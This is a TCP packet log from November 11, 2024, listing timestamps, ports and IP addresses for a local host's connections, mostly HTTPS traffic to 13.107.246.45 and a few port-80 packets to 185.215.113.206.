Nov 11, 2024 19:17:41.936923027 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.941015959 CET	49744	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.950552940 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.950556040 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.957196951 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.957209110 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.957925081 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.957938910 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.957957029 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.957971096 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.958648920 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.958658934 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.959223986 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.959230900 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.959856033 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.959861994 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.960700035 CET	49744	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.960720062 CET	443	49744	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:41.961251020 CET	49744	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:41.961270094 CET	443	49744	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.052686930 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:42.117945910 CET	49719	443	192.168.2.7	142.250.185.196
Nov 11, 2024 19:17:42.196496010 CET	80	49740	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:42.285387993 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.285444975 CET	443	49744	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.285451889 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.285495043 CET	443	49744	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.285500050 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.285550117 CET	49744	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.285573959 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.285643101 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.285695076 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.286071062 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.286086082 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.286101103 CET	49742	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.286106110 CET	443	49742	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.287348032 CET	49744	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.287358046 CET	443	49744	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.288177013 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.288238049 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.288294077 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.295300007 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.295320988 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.295363903 CET	49741	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.295375109 CET	443	49741	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.295962095 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.295970917 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.296009064 CET	49743	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.296013117 CET	443	49743	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.299462080 CET	49745	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.299484015 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.299556971 CET	49745	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.299994946 CET	49746	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.300019979 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.300081968 CET	49746	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.300385952 CET	49745	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.300395966 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.300417900 CET	49746	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.300429106 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.300972939 CET	49747	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.300981045 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.301026106 CET	49747	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.301188946 CET	49747	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.301196098 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.301316023 CET	49748	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.301338911 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.301419973 CET	49748	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.301580906 CET	49748	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.301589012 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.371125937 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.371845007 CET	49734	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.371872902 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.372471094 CET	49734	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.372478962 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.473212004 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.473788977 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.473851919 CET	49734	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.473891020 CET	49734	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.473910093 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.473946095 CET	49734	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.473953009 CET	443	49734	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.477332115 CET	49749	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.477386951 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.477478981 CET	49749	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.477673054 CET	49749	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.477684975 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.816621065 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.817312956 CET	49745	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.817327023 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.817867041 CET	49745	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.817872047 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.830631971 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.830849886 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.830928087 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.831150055 CET	49746	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.831177950 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.831322908 CET	49747	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.831336021 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.831609964 CET	49746	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.831621885 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.831768990 CET	49747	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.831772089 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.831907988 CET	49748	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.831923008 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.832292080 CET	49748	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.832298994 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.899126053 CET	80	49740	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:42.899286985 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:42.910260916 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.910314083 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.910381079 CET	49745	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.910655022 CET	49745	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.910660028 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.910672903 CET	49745	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.910677910 CET	443	49745	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.916002989 CET	49750	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.916021109 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.916286945 CET	49750	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.916286945 CET	49750	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.916305065 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.922744989 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.922918081 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.922960997 CET	49747	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.923175097 CET	49747	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.923180103 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.923197031 CET	49747	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.923201084 CET	443	49747	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.923398018 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.923494101 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.923536062 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.923547983 CET	49748	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.923604965 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.923856020 CET	49746	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.924000978 CET	49748	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.924000978 CET	49748	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.924015045 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.924024105 CET	443	49748	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.925357103 CET	49746	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.925369024 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.925407887 CET	49746	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.925414085 CET	443	49746	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.927994013 CET	49751	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.928025007 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.928972006 CET	49752	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.928998947 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.929011106 CET	49751	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.929064989 CET	49752	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.929316998 CET	49751	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.929327965 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.929462910 CET	49752	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.929472923 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.929939985 CET	49753	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.929985046 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.931020021 CET	49753	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.931190968 CET	49753	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.931206942 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.995441914 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.996462107 CET	49749	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.996498108 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:42.997047901 CET	49749	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:42.997052908 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.088881969 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.089096069 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.089158058 CET	49749	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.089267969 CET	49749	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.089267969 CET	49749	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.089289904 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.089298964 CET	443	49749	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.092749119 CET	49754	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.092777014 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.093063116 CET	49754	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.093417883 CET	49754	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.093434095 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.439702034 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.445326090 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.446594000 CET	49750	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.446604013 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.446677923 CET	49752	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.446693897 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.447154045 CET	49750	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.447159052 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.447854996 CET	49752	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.447860003 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.449383974 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.450001001 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.450122118 CET	49753	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.450139046 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.450464964 CET	49751	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.450472116 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.450496912 CET	49753	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.450501919 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.450849056 CET	49751	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.450853109 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.536863089 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.536917925 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.537137985 CET	49750	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.537369967 CET	49750	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.537383080 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.537395000 CET	49750	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.537400007 CET	443	49750	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.538186073 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.538608074 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.538682938 CET	49752	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.538867950 CET	49752	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.538873911 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.538885117 CET	49752	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.538888931 CET	443	49752	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.541325092 CET	49755	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.541341066 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.541421890 CET	49755	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.542095900 CET	49755	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.542105913 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.542658091 CET	49756	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.542682886 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.542695999 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.542753935 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.542754889 CET	49756	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.542960882 CET	49756	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.542970896 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.542988062 CET	49753	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.543034077 CET	49753	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.543034077 CET	49753	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.543044090 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.543052912 CET	443	49753	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.543097019 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.543215990 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.543270111 CET	49751	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.543382883 CET	49751	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.543386936 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.543395996 CET	49751	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.543400049 CET	443	49751	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.544995070 CET	49757	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.545011044 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.545079947 CET	49757	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.545192003 CET	49757	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.545202971 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.547646046 CET	49758	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.547655106 CET	443	49758	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.547729015 CET	49758	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.548382998 CET	49758	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.548392057 CET	443	49758	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.608164072 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.612128019 CET	49754	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.612138987 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.612515926 CET	49754	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.612520933 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.701426983 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.701608896 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.701694012 CET	49754	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.711013079 CET	49754	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.711033106 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.711049080 CET	49754	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.711055040 CET	443	49754	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.778780937 CET	49759	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.778836966 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:43.778908014 CET	49759	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.802927017 CET	49759	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:43.802962065 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.059726954 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.065877914 CET	49755	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.065886021 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.066385984 CET	49755	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.066390038 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.068783998 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.069053888 CET	443	49758	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.069292068 CET	49756	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.069323063 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.069400072 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.069823027 CET	49756	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.069828987 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.075112104 CET	49758	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.075119019 CET	443	49758	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.075516939 CET	49758	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.075520992 CET	443	49758	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.075740099 CET	49757	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.075752020 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.076337099 CET	49757	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.076343060 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375191927 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375253916 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375339031 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375348091 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375363111 CET	49755	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.375396013 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375406981 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375437975 CET	49757	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.375466108 CET	49756	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.375590086 CET	443	49758	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375643969 CET	443	49758	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.375832081 CET	49758	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.469029903 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.483201027 CET	49759	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.483237982 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.483983994 CET	49759	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.483993053 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.484196901 CET	49755	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.484224081 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.484237909 CET	49755	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.484244108 CET	443	49755	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.484270096 CET	49757	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.484286070 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.484296083 CET	49757	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.484302044 CET	443	49757	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.485558033 CET	49756	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.485580921 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.485595942 CET	49756	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.485601902 CET	443	49756	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.485853910 CET	49758	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.485858917 CET	443	49758	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.503077030 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.503128052 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.503191948 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.503395081 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.503406048 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.506414890 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.506453991 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.506481886 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.506489992 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.506516933 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.506556988 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.506720066 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.506726980 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.508852959 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.508871078 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.508960962 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.515319109 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.515336990 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.516253948 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.516269922 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.574306965 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.574388981 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.574512959 CET	49759	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.647572994 CET	49759	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.647615910 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.647635937 CET	49759	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.647644043 CET	443	49759	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.702214003 CET	49764	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.702267885 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:44.702331066 CET	49764	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:44.889992952 CET	49764	443	192.168.2.7	13.107.246.45
